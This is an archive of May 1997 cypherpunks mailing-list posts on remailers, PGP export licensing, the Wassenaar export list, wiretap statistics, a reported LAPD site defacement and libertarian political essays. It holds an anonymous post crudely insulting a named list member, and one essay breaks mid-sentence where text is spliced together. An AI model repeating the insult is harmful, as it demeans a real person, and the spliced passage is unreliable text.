Date: Thu, 29 May 1997 08:11:01 +0800
To: cypherpunks@toad.com
Subject: Pleeease help!
Message-ID: <338CC56F.55E3@mail.EUnet.pt>
MIME-Version: 1.0
Content-Type: text/plain


I am living in Portugal and use a PowerMacintosh.

Is there any way of using the wonderful Mixmaster mail system or any
other safe method?

Thanks in advance,
Rui Guedes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 17:19:40 +0800
To: cypherpunks@toad.com
Subject: Re: OECD attacks one of the Four Horsemen
Message-ID: <199705290857.BAA22086@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>There will be a "War on Porn" on the internet that will mirror the
>"War on Drugs" currently taking place. 

In financial, as well as freedoms, cost.

>All that the government wants is their piece of the action. Like
>drugs, the porn will always be available, but the price will 
>fluctuate according to the level of government control and/or
>illegality.

Yup. Like drugs, "intelligence" agencies will also get <ahem>
intimately involved, and then deny it, in a romantic tradition
dating back before language.

>The "War on Porn" will turn into another essential national industry
>which will become part of the GNP.

A negative part. Tax-spend. Spend-tax.

>The "winners" in this war will be the journalists who have covered
>the "War on Drugs" as they will merely have to dust off old stories
>and substitute "Porn" for "Drugs" wherever it occurs.

The real winners will also be in a strange quarter. The Playboys
and Penthouses of this world are concerned about profit, not
morality, but they will be perfectly willing to surreptitiously line
up with the Christian Coalition on this one. Strange bedfellows.

>The "loser" will be the Hoover Vacume Cleaner Company, whose development
>of Virtual Cathouse technology will fall victim to new legislation.

Old Woody Allen movies, anyone?
om













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Thu, 29 May 1997 20:24:21 +0800
To: beyondhope@2600.com
Subject: Los Angeles Police Department Web Site Hacked
Message-ID: <Pine.BSI.3.91.970529042929.15196A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



It was hacked late last night at http://www.lapd.org

I have it mirrored at http://www.dis.org/se7en


se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jack Flap" <jack_flap@hotmail.com>
Date: Thu, 29 May 1997 22:21:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 1996 Wiretap Report
Message-ID: <199705291406.HAA02256@f19.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Blossom <eb@comsec.com> may have written:
> (2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
>     applications were approved.  Of that number 5 (five!) were for
>     "Arson, explosives, and weapons."  Unless they've classified wiretaps
>     against "suspected terrorists" in the "Other" category, it looks
>     as if the LEOs don't think (targeted) wiretaps are useful for stopping
>     small groups of modestly skilled people bent on blowing things up. No 
Shit.

Hmmm. :-)

I guess the spook angle is to ensure that those are <cringe>well
targetted</cringe> wiretaps - targetting based on intelligence,
which is probably not the same as legal intercept...

Jack.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 29 May 1997 23:50:42 +0800
To: cypherpunks@toad.com
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <2DTg8D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Please refrain from posting such off-topic messages to this mailing list.

PerryMonger
:-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Thu, 29 May 1997 21:20:41 +0800
To: jgrasty@gate.net
Subject: Re: US grants export license for PGP
In-Reply-To: <3.0.1.32.19970529002341.006ac818@pop.gate.net>
Message-ID: <199705291231.IAA17013@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Joey Grasty writes:
> At 08:00 PM 5/28/97 -0700, Lucky Green wrote:

> >PGP crypto approved for export
> 
> Alright, what's the catch?  What kind of GAK does PGP have to
> stick in to get this approval?  Encyphering minds want to know...

The catch is that the license only extends to business use by
subsidiaries of certain large US corporations.

See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

It may be moot since some versions of PGP are available around the
world, but this strikes me as patently unfair to all those companies
not big enough to be on The List.

On the other hand, maybe this is the beginning of the end.  It seems
to me that it will be difficult now to deny a similar license to 
Netscape or Microsoft or...


-- Jeff (currently employed by a Real Company :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 29 May 1997 21:47:19 +0800
To: cypherpunks@toad.com
Subject: The Wassenaar Arrangment
Message-ID: <1.5.4.32.19970529131919.006e87d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Greg Broiles's FOIA effort and Lucky Green, 
we offer the first US public release of:

   The Wassenaar Arrangement - 
   List of Dual Use-Goods and Technologies 
   and Munitions List, July 1996

   http://jya.com/wa/watoc.htm

This is the 200-page document Greg previously
announced here which lists in minute detail the
wide range of goods and technologies to be restricted 
by arms and trade export controls.

The Wassenaar Arrangement succeeds COCOM as
the arms control regime signed by 33 nations.

Cryptography is covered in Category 5 - Part 2:

   http://jya.com/wa/wacat52.htm

Which may be compared to the Australian version:

   http://jya.com/aucat_5.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger.tm@dev.null
Date: Fri, 30 May 1997 00:46:14 +0800
To: cypherpunks@toad.com
Subject: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705291623.KAA00762@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

 

There's something wrong when I'm a felon under an increasing number of

laws.

Only one response to the key grabbers is warranted: "Death to Tyrants!"

---------:---------:---------:---------:---------:---------:---------:----

Timothy C. May              | Crypto Anarchy: encryption, digital money,

tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,

zero

W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information

markets,

Higher Power: 2^1398269     | black markets, collapse of governments.

"National borders aren't even speed bumps on the information

superhighway."



  Tim's new sig-line gives recognition to one of what I consider to be

the two main reasons that Democracy and Justice can now be considered

a part of America's historical past.



  A major nail in the coffin of Justice for any accused in the U.S.

was when the justice system promoted the concept of guilt by virtue

of "circumstantial" evidence to the point where people can now be

convicted as a result of speculation rather than evidence. Prosecutors

now seem to need only to convince the sheeple that it was "possible"

for the defendant to have commited the crime and that circumstantial

evidence points *only* to the accused.

  As well, the justice system only allows the government prosecutors

to indulge in "speculation" and denies the defense the opportunity

to do the same. The McVeigh prosecutors are allowed to put on a key

witness who has openly stated that he's going to get rich by telling

fables, yet the defense's witnesses are barred from testifying

because the judge declares their testimony to be unreliable and

the defense's planned defence to be based on speculation.



  Now that this nail has been driven home, the only thing standing 

between the average citizen and random or targeted unjust imprisonment 

is a cause of action for the government to proceed on. Tim C. May's

sig-line eloquently points out that the black-robed magicians of the

justice system now have enough cards strategically put in place to

be able to pull an Ace of Subpoena's seemingly out of thin air.

  If a perfectly normal, average grandmother/citizen can be threatened

with imprisonment for putting money in someone else's parking meter

then, pray tell, which action of the average citizen *cannot* be used

to imprison him or her?

  The Pandora's box of laws, regulations and "perceived possibilty of

illegality" (probable cause) leaves each of us open to random or

targeted search, seizure, arrest and imprisonment not only for laws

and crimes which actually exist, but also for those which can be

deduced by "speculation" as to the "possibility" of our having had

an "intent" to do something illegal.

  (Twenty years ago I called my lawyer at four a.m. and he asked me

what charge the police were using to hold me. I told him, "I think

the charge is 'Suspicion of being in jail.'" He laughed and said,

"They may *have* you on this one, Bubba." Back then it was a joke,

but I fear that today it reflects reality.)



  A grandmother in the midwest U.S. plugs someone else's parking meter

and faces prosecution and interrogation. She mentions she was on her

way to pick up paint for a shed being built in her back yard. It turns

out she has no permit to build a shed on her property. The zoning

official who inspects her house for further malefeasance sees a gun

(hunting rifle) in a closet and a line of a white, powdery substance

(roach poison) on a kitchen counter. Police search the house and seize

the computer as evidence. The woman's son has his cypherpunks list

messages on the computer, including Jim Bell's AP/IRS posts.

  What was the woman doing in plugging someone else's parking meter?

She was attempting to prevent the government from collecting money

from a citizen by way of a fine for not paying his/her parking tax.

Her proven "link" to Jim Bell, terrorist and tax protestor, can be

seen as evidence of a "conspiracy." (The question now becomes one

of whether she will testify against Bell in return for a reduction in

her charges, or whether he will do so against her.)



  If you consider the above to be in the least far-fetched then you

have little understanding of the working of our present-day justice

system. If you consider the above to be an unlikely scenario even if

the woman was being *targeted* for prosecution then you are totally

out of touch with the reality of the current state of the justice

system in America.



There's something wrong when I'm a felon under an increasing number of

laws.



  No matter how much anyone attempts to minimize or justify Tim C. May's

statement, it is undeniable that the government currently has virtually 

unlimited power to accuse, convict and imprison its citizens.

  The IRS is the prime example of this fact. It has long been a known

fact, admitted even by IRS officials, that it is impossible for any

citizen to completely comply with the country's tax laws over a period

of years. What is even more disturbing is that interpretation of the

tax laws lies largely in the hands of the IRS, not in the justice

system.

  Add to this the fact that despite having acted in accordance with the 

legal judgement of an army of tax attorneys, the guilt of any "crime"

falls on the citizen and we are all potential felons. Not only this, but

with the plethora of legislation covering every aspect of our activity

in our private lives and in our interactions with society, most of us

are likely guilty of a multitude of potential felonies.



  Of course, only *bad* people have reason to be fearful, right? Only

those who cause *trouble* need fear being *targeted* for prosecution,

right? This is of no concern to the average citizen, such as yourself,

right?

  Right. As long as you watch what you do and say so that you give the

government no reason to label you as a troublemaker, then you have no

reason to fear. As long as you make certain that you have nothing in

your life that can even give the "appearance" of connecting you to the

*bad* people, you will be safe from government persecution.

  The price to pay for guaranteeing your freedom is small. Quit hunting

and sell your guns. Get rid of white, powdery substances such as roach

poison, sugar, flour. Never fail to signal for a turn. Always wear

your seat belt and drive 55 mp/h. Never wear jeans or pay cash for an

airline ticket. Never read "The Turner Diaries" or "Assassination

Politics."

  Which reminds me...

  Unsubscribe from the cypherpunks list, physically destroy your 

computer and never chew gum in a courtroom. (Twenty-four hours in

jail for contempt of court in Phoenix, Arizona.)



  Now that you remain at home and have no contact with the outside

world except to meet all of your legislatively mandated requirements

as a citizen the only thing you need to fear is what the government

*already* has that they can use against you if you become a "target"

of prosecution.



  Cynical? Moi?

  1984 came and went with society by and large dismissing the book, 

"1984," as having been realized in actuality. I was mystified as to

how anyone, let alone nearly everyone, could fail to recognize that

the seeds had already been planted to bring to fruitation almost every

concept of Big Brother that was focused upon in the work.

  I believe that any rational person can see, in retrospect, that Big

Brother was already a fact of life by then. However, it was of no 

concern to most of us because not only did it did not negatively impact

us personally, but also because the arising fascist/police state/society

seemed to have little potential to do perswrong when I'm a felon under an increasing number of

laws.

  When cops are acquitted of beating a citizen, then if they are still

"targets" the government can charge them with violating the citizen's

civil rights. When O.J. Simpson is acquitted and is still a target, then

a jury of middle-Americans can break him under another set of laws.

  When the government fails to convict Declan for terrorism because of

something he has written about Jim Bell's prosecution, then they can

charge him with tax evasion for the deductions he has taken for

business expenses when writing is only a "hobby" he has used to

commit tax fraud. {The justice system will look to the IRS for the

proper interpretation of Section 20098.6, Subsection AF488GC, which

states "Writing is Declan's employment, not just a hobby." Their 

interpretation will result in a conviction.}



  The government has stacked all the dice in favour of themself and

against the citizen. If they can't successfully persecute/prosecute

the citizen under "this" law, they will try again under "that" law.

If they still fail to get a conviction, they can prosecute under

yet another law and drag the case out to the point it financially

breaks the citizen.

  If the citizen gets a large measure of financial and legal support,

as in the case of Phil Zimmerman, they may survive. If not, they are

"toast" in a very short period of time.



There's something wrong when I'm a felon under an increasing number of

laws.

  In 1984, "1984" had become a reality for "them."

  Now it is a reality for "us."



TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 30 May 1997 00:53:40 +0800
To: cypherpunks@toad.com
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <199705291633.LAA18694@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705290318.XAA27475@dhp.com>, on 05/28/97 
   at 11:18 PM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>I am looking for a place to purchase a motherboard with several cpu slots
>and a lot of memory. does any one know where one can find a good deal?


I would check out AMI's site at http://www.ami.com

I have always had good luck with their MoBo's and they are tested on all
major OS's before they go into production.

Last time I talked to Intell they refused to sell me multi-processor
motherboards. I was informed that to purchase a multi-processor
motherboard I would have to buy an entire server from them!! What I told
the sales drone on the other end is left as an exercise to the reader.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM42w+o9Co1n+aLhhAQG6SwQAuw6C5E/VEkeCLoHWQcd4/Oj4wvLaR+Xx
lDQcMRwCdaIlPJBCni3MJilanjFN81g51c74bocdkElLGXzdlyKVDszQMdjyTnjj
tX/QxTAluj/HV2lbvloWq2KMPVTMWxA3/XiQdsiEyaR8bv1+upe9LNJqtg22yYCM
rlzPHwDVV6s=
=o7Gn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 29 May 1997 23:50:28 +0800
To: ichudov@algebra.com
Subject: Re: US grants export license for PGP
In-Reply-To: <199705290304.WAA03368@manifold.algebra.com>
Message-ID: <Pine.LNX.3.91.970529110416.532C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > PGP crypto approved for export
> > By Tim Clark and Alex Lash
> > May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> > export license to one of the biggest thorns in its side.
> > Pretty Good Privacy says it has won approval to export strong encryption 
> > technology overseas. The license allows PGP to export technology up to 
> > 128 bits; the government's regular licenses only allow up to 56 bits. To 
> > date, the government has only approved 128-bit encryption exports for 
> > technology that protects financial transactions but PGP technology can 
> > encrypt any kind of digital communication.

Does this agreement have a GAK clause???

Even if it does not, with the new structure of PGP they are not going to 
be releasing source code for future products so it is likely they are 
hoping the average paeon who won`t reverse engineer the executable won`t 
realise they have zeroed 72 bits of the key <g>, or are using a reduced 
round variant of some strong cipher, to give the impression of strength.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 29 May 1997 23:38:00 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <Pine.LNX.3.91.970529111121.532D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Go to www.intel.com and search for "1800 node paragon", I`m sure they can 
do you a good deal ;-)..........

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 30 May 1997 01:50:53 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] Zero-knowledge commit
In-Reply-To: <199705291123.NAA10881@basement.replay.com>
Message-ID: <Pine.A41.3.95.970529112842.48298C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 29 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.
> 
>             <<<<
>            o(0-0)o
>         -ooO-(_) Ooo-- Timmy `C' May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Thu, 29 May 1997 21:15:34 +0800
To: cypherpunks@cyberpass.net
Subject: pathology
Message-ID: <19970529125158.8021.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



This was taken from the Alameda County District Attorney's Office
publication "The Point of View":

In a murder trial, the defense attorney was cross examining a pathologist.
Here's what happened:

ATTORNEY:  Before you signed the death certificate, had you taken the pulse?
CORONER:   No.
ATTORNEY:  Did you listen to the heart?
CORONER:   No.
ATTORNEY:  Did you check for breathing?
CORONER:   No.
ATTORNEY:  So, when you signed the death certificate, you weren't sure the
           man was dead, were you?
CORONER:   Well, let me put it this way.  The man's brain was sitting in a
           jar on my desk.  But I guess it's possible he could be out there
           practicing law somewhere.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 29 May 1997 19:48:25 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] Zero-knowledge commit
Message-ID: <199705291123.NAA10881@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.

            <<<<
           o(0-0)o
        -ooO-(_) Ooo-- Timmy `C' May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 30 May 1997 02:59:33 +0800
To: cypherpunks@toad.com
Subject: EVENT: Online town hall meeting with Rep. Bob Goodlatte (June 3, 8:30pm
Message-ID: <199705291836.OAA18069@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.8              http://www.democracy.net/            May 29 1997
_________________________________________________________________________
Table of Contents

 - Join Encryption Warrior Rep. Bob Goodlatte (R-VA)
 - Background on Rep. Bob Goodlatte (R-VA)
 - How to participate in the Online Town Hall Meeting
 - Upcoming Events
 - About democracy.net

___________________________________________________________________________
JOIN REP. BOB GOODLATTE (R-VA) LIVE ONLINE TUESDAY JUNE 3, 8:30 PM ET

Who is Congressman Bob Goodlatte?  Depending on your point of view, the
Republican Congressman from Virginia is either a steadfast champion of
online privacy, or a supporter of censorship in cyberspace.

This year, Rep. Goodlatte has been leading a successful charge to
overturn the Clinton administration's encryption control policies.
Goodlatte is the principal author of H.R. 695, "The Security and Freedom
through Encryption (SAFE) Act." -- a bill designed to promote privacy
and security on the Internet by encouraging the widespread availability
of encryption technology.  Goodlatte's efforts to protect privacy and
prohibit the government from imposing "key-escrow" and
"key-recovery" domestically have won him praise from Internet users.

The SAFE bill was recently approved by the House Judiciary Committee
(the first time an encryption reform bill has ever cleared a major
Congressional committee), and is now headed to the House International
Relations Committee where a tougher fight is expected.

But in 1995, Rep. Goodlatte was a leading supporter of the
Communications Decency Act (CDA) -- a law which for the first time
imposed broad content regulations on the Internet.  The CDA is currently
being reviewed by the Supreme Court and a decision is expected before
the end of June.

Join Congressman Goodlatte for a live, Virtual Town Hall meeting and
find out what makes him tick.

You can submit questions in advance by visiting
http://www.democracy.net. The discussion will be moderated by Todd
Lappin, Section Editor at Wired Magazine.

____________________________________________________________________________
BACKGROUND ON REP. BOB GOODLATTE (R-VA)

[This information is taken verbatim from Rep. Goodlatte's World Wide Web
 page at http://www.house.gov/goodlatte/]

Bob Goodlatte, age 44, was elected to serve as the Sixth District's
Congressman in November of 1992. He was re-elected to his second term
without opposition in 1994.

He is a graduate of Washington and Lee University School of Law, and
his undergraduate degree in Government was earned at Bates College in
Lewiston, Maine.

Before being elected to Congress, Bob served as former Congressman
Caldwell Butler's District Office Manager from 1977 to 1979, where he
was responsible for helping folks across the Sixth District. In 1979,
he founded his own private law practice in Roanoke. He is a former
partner in the law firm of Bird, Kinder and Huffman, working there from
1981 until taking office.

Bob has long been active in his community, serving as President of the
Civitan Club of Roanoke, and he's been active with the Parent Teachers
Association at his children's public school and with the United Way of
the Roanoke Valley.

Bob serves on the Judiciary Committee and the Agriculture Committee.
His subcommittee assignments on Judiciary are: the Constitution
Subcommittee and the Courts & Intellectual Property Subcommittee. His
subcommittee assignments on Agriculture are: the Livestock Subcommittee
and the Department Operations and Nutrition Program Subcommittee where
he serves as the Chairman.

After Republicans won the majority, Whip Tom DeLay (R-Texas) selected
Bob to serve as an Assistant Whip.

Bob and Maryellen, his wife of 22 years, live in Roanoke with their two
children, Jenny and Bobby.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

     * Interactive Town Hall Meeting with Rep. Bob Goodlatte (R-VA) *

 DATE:      Tuesday June 3, 1997
 TIME:      8:30 pm Eastern (5:30 pm Pacific)
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. Goodlatte a question.  We will collect
the questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. Goodlatte a question!

   Please mark this date in your calendar: Tuesday June 3, 8:30PM Eastern
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

_____________________________________________________________________________
UPCOMING EVENTS

Visit http://www.democracy.net for upcoming event information.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net hosts live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to
majordomo@democracy.net with "subscribe events" in the body of the message.

_____________________________________________________________________________
End update no.8                                                    05/29/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 03:17:40 +0800
To: cypherpunks@toad.com
Subject: e$: Altered States. Transfer payment addiction, Le Infame, andPhil Dick's definition of reality.
Message-ID: <v03020976afb37587dcd9@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 29 May 1997 11:57:32 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Altered States. Transfer payment addiction, Le Infame, and
Phil Dick's definition of reality.

At 1:23 pm -0400 on 5/28/97, Bill Frantz wrote in cypherpunks:

> I object to the state, providing addictive substances/experiences when
> private enterprise could do the job.  If they are against addiction, then
> they should set a good example.

For myself, I deplore the state's all-too-successful efforts to "provide"
that ultimate addictive substance, the transfer payment.

>From the oxymoron of "Social" "Security", to direct subsidies on everything
from electricity to sugar to helium, from deliberately mispriced federal
assets like lumber, water and mining rights, to indirect subsidies like the
tax-deductibility of mortgage interest and health "insurance", we use our
government to bleed money, initiative, and, ultimately, freedom from the
people who produce wealth and material well-being and give almost all of it
to people who do nothing but consume and obstruct. We've all become a
nation of innumerate dole-junkies, unaware of the economic consequences of
our actions because the state has hidden them behind a veil of
pseudoeconomics and political cynicism.

The heyday of Roman dole was nothing compared to the "compassion" we
increasingly have for ourselves.

So, like a lot of people, I hope and work for the day when that giant
mosquito on the Petomaine :-) river -- and its larvae in places like
Jefferson City -- starts sucking air instead of the economic and moral
lifeblood of people who actually work for a living. Then, maybe, this
nation of lotus eaters will wake up to the fact that we've no one to rely
upon but ourselves.

Science fiction author Phillip K. Dick said, "Reality is that which doesn't
go away when you change your mind." I would ammend it to say that reality
is that which is still there when transfer payments stop.


Voltaire used to end all his correspondence with "Death to Le Infame". "Le
Infame" translates as "the infamous thing". He was talking about the church
then, but nowadays it seems that *all* of us take communion at Our Lady of
the Federal Transfer Payment.

The end of opressive religeous control of society was the advent of
science, the enlightment, and the triumph of reason that resulted from
them. The founding of this country was part of that revolution.
Unfortunately, unreason shed its priestly vestments and immediately
counterattacked in the form of Rousseau, Robespierre and the French
revolution. Since then, through the mechanations of Rousseau's intellectual
decendants like Karl Marx, and lately, the people that Harold Bloom calls
the "School of Resentment", nation states have justified more and more
oppression in the interest of unobtainable mirages like "equality" and
"security", and in perverting words like "fairness" and "justice" to mean
envy and arbitrary confiscation.

The very touchstone of reason in political thought, this country's
constitution, is now standing on the bottom of a vast lake of irrational
statist excrement, with its nose barely above the waterline.

Sometimes, I think that, when we can breathe no longer, and we try to
return to the shore of reason, we'll forget the swimming lessons the
founding fathers and the philosophes of the enlightenment taught us. That
we'll drown in our own sloth, envy, resentment, and, more important, lack
of faith in ourselves.

However, most of the time, I'm much more optimistic. I believe that the
increasing ubiquity of all information, and, more important, the means for
each person to competitively process that information himself to get
independently replicable results, will create a world where people and
their computing technology become the equivalent of scientists, testing and
verifying facts about the world themselves, rather than having reality
served to them on a lotus leaf.


The operative word in that Proustian sentence was "competitively". That
means markets for everything which can be put into ones and zeroes and sent
on a network, which in turn means instant settlement and clearing of those
transactions, and, most important, a myriad of autonomous economic entities
operating in efficient, competitive, auction markets for that information.

Fortunately, we have the technology, in the form of things like the blind
signature algorithm, public key cryptography, Moore's law and geodesic
networks, to make this happen. I believe that we actually have no economic
choice, and so it will happen. It's as if we have found the dole-receptors
in our economic neurochemistry, and soon our transfer payment addiction
will be a thing of the past.

"Reality is that which doesn't go away when you change your mind."

Kicking an addiction is by definition a mind-altering experience. :-).


Polemically,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcottrell@infonex.com (Lance Cottrell)
Date: Fri, 30 May 1997 06:31:53 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymizer upgrades
Message-ID: <199705292215.PAA11815@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.security, alt.privacy,alt.anonymous,alt.privacy.anon-server)

I am pleased to announce two significant improvements to The Anonymizer
